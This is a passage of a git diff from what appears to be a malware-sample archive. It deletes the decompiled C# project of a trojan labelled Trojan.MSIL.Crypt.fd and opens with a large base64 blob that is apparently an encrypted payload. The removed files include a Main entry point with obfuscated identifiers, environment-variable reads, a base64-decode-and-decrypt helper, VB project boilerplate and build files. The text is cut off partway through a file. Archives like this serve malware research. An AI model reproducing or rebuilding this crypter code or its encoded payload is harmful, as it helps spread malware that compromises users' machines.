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 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/Federico.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/Federico.cs deleted file mode 100644 index 2d954dc9..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/Federico.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Federico -// Assembly: Yazilix, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E6A2B04D-16B8-445D-A398-7A2EC42B2041 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Text; - -[StandardModule] -internal sealed class Federico -{ - [STAThread] - public static void Main() => ĒĔİĒĕ.ĕĮĤĦĕĵĚ(); - - public static string dwdda(string ÔÖÓ) => Environment.GetEnvironmentVariable(ÔÖÓ); - - public static string fkaOWJfawjfozkLZD(string ÂÄÀ) => Encoding.Unicode.GetString(ďĩįĵĭđĢ.ĬĨĐĥĄĄĥĮāģĵĢĺĐıđģĕįĖĴĥ(Convert.FromBase64String(ÂÄÀ))); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/My/MyApplication.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/My/MyApplication.cs deleted file mode 100644 index ce1e75ca..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: Yazilix, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E6A2B04D-16B8-445D-A398-7A2EC42B2041 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/My/MyComputer.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/My/MyComputer.cs deleted file mode 100644 index 067a7098..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: Yazilix, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E6A2B04D-16B8-445D-A398-7A2EC42B2041 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/My/MyProject.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/My/MyProject.cs deleted file mode 100644 index 92981b44..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: Yazilix, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E6A2B04D-16B8-445D-A398-7A2EC42B2041 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [StandardModule] - [HideModuleName] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/Trojan.MSIL.Crypt.fd.csproj b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/Trojan.MSIL.Crypt.fd.csproj deleted file mode 100644 index 14146b34..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/Trojan.MSIL.Crypt.fd.csproj +++ /dev/null @@ -1,49 +0,0 @@ - - - - - Debug - AnyCPU - {FF443180-91D9-466B-A549-F2956F7E956E} - WinExe - Yazilix - 1.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/Trojan.MSIL.Crypt.fd.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/Trojan.MSIL.Crypt.fd.sln deleted file mode 100644 index 7cabd12c..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/Trojan.MSIL.Crypt.fd.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Yazilix", "Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3.csproj", "{FF443180-91D9-466B-A549-F2956F7E956E}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {FF443180-91D9-466B-A549-F2956F7E956E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {FF443180-91D9-466B-A549-F2956F7E956E}.Debug|Any CPU.Build.0 = Debug|Any CPU - {FF443180-91D9-466B-A549-F2956F7E956E}.Release|Any CPU.ActiveCfg = Release|Any CPU - {FF443180-91D9-466B-A549-F2956F7E956E}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/ďĩįĵĭđĢ.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/ďĩįĵĭđĢ.cs deleted file mode 100644 index c8c2ddd7..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/ďĩįĵĭđĢ.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ďĩįĵĭđĢ -// Assembly: Yazilix, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E6A2B04D-16B8-445D-A398-7A2EC42B2041 -// Assembly location: 